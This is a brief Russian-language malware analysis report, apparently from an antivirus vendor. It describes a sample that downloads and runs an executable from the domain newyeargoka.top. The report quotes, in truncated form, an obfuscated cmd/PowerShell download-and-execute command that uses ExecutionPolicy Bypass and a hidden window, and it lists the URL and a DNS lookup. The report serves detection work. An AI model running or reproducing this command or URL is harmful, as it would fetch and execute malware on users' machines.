Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://newyeargoka.top/read.php?f=0.dat как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /c "P^OwERs^h^EL^L.eXe -^e^x^EC^u^Ti^O^NPolICy^ By^Pa^sS -NOPr^O^f^iL^e^ -wiNDowStY^l^E ^H^iDD^E^n ^(N^ew^-OBj^ECT sySt^EM^.n^eT.Webcl^Ient^)^.^doWN^loadF^i^l^E^(^'http://newye...
Сетевая активность
UDP
- DNS ASK ne###argoka.top
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c "P^OwERs^h^EL^L.eXe -^e^x^EC^u^Ti^O^NPolICy^ By^Pa^sS -NOPr^O^f^iL^e^ -wiNDowStY^l^E ^H^iDD^E^n ^(N^ew^-OBj^ECT sySt^EM^.n^eT.Webcl^Ient^)^.^doWN^loadF^i^l^E^(^'http://newye...' (со скрытым окном)
